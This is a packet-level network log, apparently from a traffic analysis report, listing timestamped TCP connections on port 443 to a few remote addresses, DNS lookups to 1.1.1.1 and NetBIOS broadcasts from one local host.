Aug 28, 2024 22:21:40.747742891 CEST	443	49818	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:40.798217058 CEST	49818	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.294508934 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:41.294554949 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:41.294653893 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:41.294863939 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:41.294878006 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:41.519180059 CEST	443	49817	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.519212008 CEST	443	49817	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.519279003 CEST	49817	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.519304991 CEST	443	49817	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.519320965 CEST	443	49817	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.519366026 CEST	49817	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.519963026 CEST	49817	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.519979000 CEST	443	49817	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.792999983 CEST	443	49816	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.794208050 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.794244051 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.794362068 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.794622898 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.794631958 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.798044920 CEST	443	49816	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.798125982 CEST	49816	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.798574924 CEST	49816	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:41.798587084 CEST	443	49816	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:41.950903893 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:41.951371908 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:41.951395988 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:41.951728106 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:41.952119112 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:41.952189922 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:41.994297981 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:42.044348001 CEST	443	49818	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.044589043 CEST	49818	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.044619083 CEST	443	49818	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.044676065 CEST	49818	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.469631910 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.470033884 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.470062971 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.471039057 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.471117020 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.471395969 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.471453905 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.471544027 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.471550941 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.471606970 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.471623898 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:42.522222042 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.682344913 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:42.682369947 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.072173119 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:44.072225094 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.072339058 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:44.072594881 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:44.072607994 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.790055037 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.790309906 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:44.790337086 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.790663958 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.790952921 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:44.791014910 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:44.791101933 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:44.832503080 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:45.419420958 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:45.419542074 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:45.419594049 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:45.420315981 CEST	49820	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:45.420335054 CEST	443	49820	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:45.437366009 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:45.437397003 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:45.437465906 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:45.437660933 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:45.437673092 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.115617037 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.115827084 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:46.115849972 CEST	443	49821	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.115900040 CEST	49821	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:46.119580984 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.119796038 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:46.119802952 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.120786905 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.120845079 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:46.121114969 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:46.121170998 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.121249914 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:46.121254921 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:46.162329912 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:48.016204119 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:48.019783974 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:48.019957066 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:48.020328999 CEST	49822	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:48.020347118 CEST	443	49822	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:50.919747114 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:50.919790030 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:50.919894934 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:50.920108080 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:50.920120001 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:51.612375975 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:51.612698078 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:51.612725019 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:51.613708019 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:51.613781929 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:51.614053965 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:51.614113092 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:51.614295006 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:51.614305019 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:51.655230045 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:51.859040976 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:51.859112024 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:51.859181881 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:52.774699926 CEST	49819	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:21:52.774732113 CEST	443	49819	172.217.16.132	192.168.2.16
Aug 28, 2024 22:21:53.160186052 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.160463095 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.160492897 CEST	443	49823	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.160558939 CEST	49823	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.172552109 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.172585964 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.172662973 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.172904015 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.172916889 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.860657930 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.860940933 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.860968113 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.861987114 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.862065077 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.862330914 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.862399101 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.862515926 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:53.862523079 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:53.907228947 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:54.707288027 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:54.707297087 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:55.714404106 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:55.714495897 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:55.714566946 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:55.714672089 CEST	49824	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:55.714688063 CEST	443	49824	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:56.739032984 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:56.739120960 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:56.739284039 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:56.771696091 CEST	49746	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:56.771719933 CEST	443	49746	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:00.140307903 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:22:00.140332937 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:22:01.003293991 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:22:01.003313065 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:22:01.019253016 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:22:01.019274950 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:22:02.137985945 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:02.138015032 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:02.138111115 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:02.138359070 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:02.138371944 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:02.900861025 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:02.901146889 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:02.901160955 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:02.901484966 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:02.901778936 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:02.901842117 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:02.901952028 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:02.944519043 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:04.806310892 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:04.806327105 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:04.922391891 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:04.922632933 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:04.922652960 CEST	443	49825	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:04.922709942 CEST	49825	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:04.934675932 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:04.934696913 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:04.934871912 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:04.935209990 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:04.935224056 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:05.590651989 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:05.590969086 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:05.591001034 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:05.591334105 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:05.591636896 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:05.591703892 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:05.591860056 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:05.632504940 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:06.860073090 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:06.860301971 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:06.860330105 CEST	443	49826	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:06.860405922 CEST	49826	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:10.781862020 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:22:10.781948090 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:22:10.782027960 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:22:15.001095057 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.001142025 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.001252890 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.001969099 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.001986027 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.036864996 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:22:15.036953926 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:22:15.037046909 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:22:15.664875984 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.665169954 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.665199995 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.666198015 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.666275024 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.666533947 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.666594982 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.666716099 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:15.666723967 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:15.718358994 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:16.706356049 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:16.706382990 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:16.722450972 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:16.722465992 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:16.772036076 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:22:16.772036076 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:22:16.772042036 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:22:16.772074938 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:22:16.772159100 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:22:16.772170067 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:22:16.772281885 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:22:16.772357941 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:22:17.083632946 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:17.083719015 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:17.083842993 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:17.084000111 CEST	49828	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:17.084017992 CEST	443	49828	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:18.910809040 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:18.910888910 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:18.910964966 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:18.911216974 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:18.911232948 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.577440977 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.577711105 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:19.577729940 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.578712940 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.578782082 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:19.579238892 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:19.579310894 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.579582930 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:19.579592943 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.630320072 CEST	49829	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:19.691487074 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.691570997 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:19.691679955 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:20.782625914 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:22:20.782650948 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:21.512846947 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:21.513621092 CEST	443	49829	185.225.69.39	192.168.2.16
Aug 28, 2024 22:22:21.513681889 CEST	49829	443	192.168.2.16	185.225.69.39

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 22:20:36.447635889 CEST	64984	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:36.447843075 CEST	58719	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:36.454910994 CEST	53	61333	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:36.466880083 CEST	53	64984	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:36.474639893 CEST	53	58719	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:36.597063065 CEST	53	60730	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:37.575273991 CEST	53	57189	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:38.434314966 CEST	65371	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:38.436517000 CEST	58353	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:38.889292955 CEST	53	65371	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:38.903444052 CEST	53	58353	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:39.618036985 CEST	63183	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:39.618186951 CEST	49995	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:39.641254902 CEST	53	63183	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:39.641820908 CEST	53	49995	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:41.241831064 CEST	60453	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:41.241966963 CEST	60695	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:41.248759985 CEST	53	60453	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:41.248771906 CEST	53	60695	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:41.850258112 CEST	64839	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:41.850435019 CEST	53226	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:42.367132902 CEST	53	53226	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:42.608985901 CEST	53	64839	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:46.305594921 CEST	55921	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:46.305874109 CEST	59041	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:46.308818102 CEST	52499	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:46.308964014 CEST	59647	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:46.312500000 CEST	53	59041	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:46.312967062 CEST	53	55921	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:46.321841002 CEST	53	52499	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:46.331134081 CEST	53	59647	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:50.651570082 CEST	137	137	192.168.2.16	192.168.2.255
Aug 28, 2024 22:20:51.404453039 CEST	137	137	192.168.2.16	192.168.2.255
Aug 28, 2024 22:20:52.168138981 CEST	137	137	192.168.2.16	192.168.2.255
Aug 28, 2024 22:20:53.614680052 CEST	61360	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:53.614854097 CEST	52157	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:53.631926060 CEST	53	61360	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:53.641767979 CEST	53	52157	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:54.479660034 CEST	53	53298	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:56.054183960 CEST	56308	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:56.054593086 CEST	62090	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:56.068342924 CEST	53	56308	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:56.071113110 CEST	53	62090	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:59.111429930 CEST	53527	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:59.111608982 CEST	52612	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:59.123904943 CEST	53	52612	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:59.126590967 CEST	53	53527	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:59.933286905 CEST	53690	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:59.933469057 CEST	55406	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:20:59.946111917 CEST	53	55406	1.1.1.1	192.168.2.16
Aug 28, 2024 22:20:59.949012995 CEST	53	53690	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:03.140696049 CEST	58913	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:03.141066074 CEST	52162	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:03.142085075 CEST	52831	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:03.142249107 CEST	56479	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:03.153871059 CEST	53	58913	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:03.155462980 CEST	53	52162	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:03.155513048 CEST	53	52831	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:03.158938885 CEST	53	56479	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:03.836973906 CEST	52738	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:03.840065002 CEST	52610	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:03.854671955 CEST	53	52738	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:03.857054949 CEST	53	52610	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:06.899830103 CEST	53	57507	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:13.306715012 CEST	53	56303	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:22.659288883 CEST	138	138	192.168.2.16	192.168.2.255
Aug 28, 2024 22:21:28.054562092 CEST	61793	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:28.054702997 CEST	51827	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:28.067450047 CEST	53	61793	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:28.068928957 CEST	53	51827	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.967406034 CEST	60988	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.967556000 CEST	55569	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.967962980 CEST	51718	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.968091965 CEST	52371	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.968264103 CEST	52932	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.968497038 CEST	51204	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.983478069 CEST	53	55569	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.983522892 CEST	53	60988	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.983540058 CEST	53	52371	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.984174013 CEST	53	52932	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.984184980 CEST	53	51718	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.985500097 CEST	52292	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.985673904 CEST	53117	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.985846043 CEST	59227	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.985980034 CEST	59808	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.989100933 CEST	53	51204	1.1.1.1	192.168.2.16
